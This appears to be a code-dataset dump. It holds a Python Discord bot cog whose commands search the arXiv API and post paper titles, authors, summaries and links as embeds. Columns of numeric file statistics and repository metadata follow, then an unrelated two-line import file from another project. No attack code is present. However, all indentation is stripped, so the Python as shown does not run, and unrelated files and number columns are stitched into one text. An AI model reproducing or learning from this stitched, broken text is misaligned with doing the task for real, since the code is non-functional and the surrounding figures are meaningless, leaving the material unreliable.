#Gets the top search result from arXiv API and displays the paper along with related details (including summary) in an embed
arxivshow_help ='''***Description :***
Shows the top searched result\n
***Syntax :***
`<prefix>arxivshow <keyword>`'''
@commands.command(name ="arxivshow", help = arxivshow_help)
async def arxivshow(self, ctx, *, search):
query = search.replace(" ", "+")
url = f'http://export.arxiv.org/api/query?search_query=all:{query}&start=0&max_results=1'
data = urllib.request.urlopen(url)
mytree = minidom.parseString(data.read().decode('utf-8'))
entry = mytree.getElementsByTagName('entry')
for y in entry:
published = y.getElementsByTagName('published')[0]
title = y.getElementsByTagName('title')[0]
summary = y.getElementsByTagName('summary')[0]
author = y.getElementsByTagName('author')
authors = ''
for x in author:
a_name = x.getElementsByTagName('name')[0]
authors = authors + (a_name.firstChild.data) + ', '
authors = authors[:-2]
link = y.getElementsByTagName('link')[0]
link1 = link.attributes['href'].value
link2 = y.getElementsByTagName('link')[1]
link3 = link2.attributes['href'].value
embed = discord.Embed(title = f'Title: {title.firstChild.data}', description = f'Published on: {published.firstChild.data}', color = discord.Colour.blue())
embed.set_author(name = f'{authors}')
await ctx.send(embed = embed)
embed = discord.Embed(title = 'Summary: ', description = f'{summary.firstChild.data}', color = discord.Colour.green())
embed.add_field(name = 'Link: ', value = f'{link1}', inline = False)
embed.add_field(name = 'Download link: ', value = f'{link3}', inline = False)
await ctx.send(embed = embed)
await ctx.send('.................................................................................................................................................')
#Gets the top 5 search results (sorted as last updated) from arXiv API and displays respective papers along with related details (excluding summary) in succesive embeds
arxivshowlud_help ='''***Description :***
Shows top 5 paper on the basis of last updated date\n
***Syntax :***
`<prefix>arxivshowlud <keyword>`'''
@commands.command(name ="arxivshowlud", help = arxivshowlud_help)
async def arxivshowlud(self, ctx, *, search):
query = search.replace(" ", "+")
url = f'http://export.arxiv.org/api/query?search_query=all:{query}&start=0&max_results=5&sortBy=lastUpdatedDate&sortOrder=ascending'
data = urllib.request.urlopen(url)
mytree = minidom.parseString(data.read().decode('utf-8'))
entry = mytree.getElementsByTagName('entry')
for y in entry:
published = y.getElementsByTagName('published')[0]
title = y.getElementsByTagName('title')[0]
author = y.getElementsByTagName('author')
authors = ''
for x in author:
a_name = x.getElementsByTagName('name')[0]
authors = authors + (a_name.firstChild.data) + ', '
authors = authors[:-2]
link = y.getElementsByTagName('link')[0]
link1 = link.attributes['href'].value
link2 = y.getElementsByTagName('link')[1]
link3 = link2.attributes['href'].value
embed = discord.Embed(title = f'Title: {title.firstChild.data}', description = f'Published on: {published.firstChild.data}', color = discord.Colour.blue())
embed.set_author(name = f'{authors}')
embed.add_field(name = 'Link: ', value = f'{link1}', inline = False)
embed.add_field(name = 'Download link: ', value = f'{link3}', inline = False)
await ctx.send(embed = embed)
await ctx.send('.................................................................................................................................................')
#Gets the top 5 search results (sorted as relevance) from arXiv API and displays respective papers along with related details (excluding summary) in succesive embeds
arxivshowr_help ='''***Description :***
Shows top 5 paper on the basis of relevance\n
***Syntax :***
`<prefix>arxivshowr <keyword>`'''
@commands.command(name ="arxivshowr", help = arxivshowr_help)
async def arxivshowr(self, ctx, *, search):
query = search.replace(" ", "+")
url = f'http://export.arxiv.org/api/query?search_query=all:{query}&start=0&max_results=5&sortBy=relevance&sortOrder=ascending'
data = urllib.request.urlopen(url)
mytree = minidom.parseString(data.read().decode('utf-8'))
entry = mytree.getElementsByTagName('entry')
for y in entry:
published = y.getElementsByTagName('published')[0]
title = y.getElementsByTagName('title')[0]
author = y.getElementsByTagName('author')
authors = ''
for x in author:
a_name = x.getElementsByTagName('name')[0]
authors = authors+(a_name.firstChild.data) + ', '
authors = authors[:-2]
link = y.getElementsByTagName('link')[0]
link1 = link.attributes['href'].value
link2 = y.getElementsByTagName('link')[1]
link3 = link2.attributes['href'].value
embed = discord.Embed(title = f'Title: {title.firstChild.data}', description = f'Published on: {published.firstChild.data}', color = discord.Colour.blue())
embed.set_author(name = f'{authors}')
embed.add_field(name = 'Link: ', value = f'{link1}', inline = False)
embed.add_field(name = 'Download link: ', value = f'{link3}', inline = False)
await ctx.send(embed = embed)
await ctx.send('.................................................................................................................................................')
#Gets the top 5 search results (sorted as submitted date) from arXiv API and displays respective papers along with related details (excluding summary) in succesive embeds
arxivshowsd_help ='''***Description :***
Shows top 5 paper and sorts the result in order of submitted date\n
***Syntax :***
`<prefix>arxivshowsd <keyword>`'''
@commands.command(name="arxivshowsd", help=arxivshowsd_help)
async def arxivshowsd(self, ctx, *, search):
query = search.replace(" ", "+")
url = f'http://export.arxiv.org/api/query?search_query=all:{query}&start=0&max_results=5&sortBy=submittedDate&sortOrder=ascending'
data = urllib.request.urlopen(url)
mytree = minidom.parseString(data.read().decode('utf-8'))
entry = mytree.getElementsByTagName('entry')
for y in entry:
published = y.getElementsByTagName('published')[0]
title = y.getElementsByTagName('title')[0]
author = y.getElementsByTagName('author')
authors = ''
for x in author:
a_name = x.getElementsByTagName('name')[0]
authors = authors + (a_name.firstChild.data) + ', '
authors = authors[:-2]
link = y.getElementsByTagName('link')[0]
link1 = link.attributes['href'].value
link2 = y.getElementsByTagName('link')[1]
link3 = link2.attributes['href'].value
embed = discord.Embed(title = f'Title: {title.firstChild.data}', description = f'Published on: {published.firstChild.data}', color = discord.Colour.blue())
embed.set_author(name = f'{authors}')
embed.add_field(name = 'Link: ', value = f'{link1}', inline = False)
embed.add_field(name = 'Download link: ', value = f'{link3}', inline = False)
await ctx.send(embed = embed)
await ctx.send('.................................................................................................................................................')
#Gets the top 5 search results from arXiv API and displays respective papers along with related details (including summary) in succesive embeds
arxivshowsumm_help ='''***Description :***
Shows top 5 paper alongwith it's summary\n
***Syntax :***
`<prefix>arxivshowsumm <keyword>`'''
@commands.command(name ="arxivshowsumm", help = arxivshowsumm_help)
async def arxivshowsumm(self, ctx, *, search):
query = search.replace(" ", "+")
url = f'http://export.arxiv.org/api/query?search_query=all:{query}&start=0&max_results=5'
data = urllib.request.urlopen(url)
mytree = minidom.parseString(data.read().decode('utf-8'))
entry = mytree.getElementsByTagName('entry')
for y in entry:
published = y.getElementsByTagName('published')[0]
title = y.getElementsByTagName('title')[0]
author = y.getElementsByTagName('author')
authors = ''
for x in author:
a_name = x.getElementsByTagName('name')[0]
authors = authors + (a_name.firstChild.data) + ', '
authors = authors[:-2]
summary = y.getElementsByTagName('summary')[0]
link = y.getElementsByTagName('link')[0]
link1 = link.attributes['href'].value
link2 = y.getElementsByTagName('link')[1]
link3 = link2.attributes['href'].value
embed = discord.Embed(title = f'Title: {title.firstChild.data}', description = f'Published on: {published.firstChild.data}', color = discord.Colour.blue())
embed.set_author(name = f'{authors}')
await ctx.send(embed = embed)
embed = discord.Embed(title = 'Summary: ', description = f'{summary.firstChild.data}', color = discord.Colour.green())
embed.add_field(name = 'Link: ', value = f'{link1}', inline = False)
embed.add_field(name = 'Download link: ', value = f'{link3}', inline = False)
await ctx.send(embed = embed)
await ctx.send('.................................................................................................................................................')
def setup(client):
client.add_cog(arxiv(client))
| 61.172222
| 175
| 0.55272
| 1,116
| 11,011
| 5.408602
| 0.117384
| 0.093936
| 0.023857
| 0.028164
| 0.838469
| 0.822896
| 0.813287
| 0.803512
| 0.803512
| 0.803512
| 0
| 0.010379
| 0.256198
| 11,011
| 180
| 176
| 61.172222
| 0.726618
| 0.069839
| 0
| 0.763636
| 0
| 0.030303
| 0.315101
| 0.104317
| 0
| 0
| 0
| 0
| 0
| 1
| 0.012121
| false
| 0
| 0.024242
| 0
| 0.072727
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
79ec9320873b1d25206ea1b268098d8e546d2c34
| 67
|
py
|
Python
|
htx/__init__.py
|
gucharbon/pyheartex
|
65cc0a1ce0206c122e3df5c1b9de9deb4ed37c04
|
[
"MIT"
] | 27
|
2019-07-10T17:43:36.000Z
|
2021-03-12T17:42:56.000Z
|
htx/__init__.py
|
gucharbon/pyheartex
|
65cc0a1ce0206c122e3df5c1b9de9deb4ed37c04
|
[
"MIT"
] | 20
|
2019-05-14T00:01:46.000Z
|
2020-02-19T18:36:27.000Z
|
htx/__init__.py
|
heartexlabs/pyheartex
|
1b4d9ee3ee3004b5429ed0b8460f7bdf4bb4ab08
|
[
"MIT"
] | 9
|
2019-09-04T03:37:07.000Z
|
2021-05-24T23:27:34.000Z
|
from .htx import init_model_server
from .htx import _server as app
| 22.333333
| 34
| 0.820896
| 12
| 67
| 4.333333
| 0.666667
| 0.269231
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149254
| 67
| 2
| 35
| 33.5
| 0.912281
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.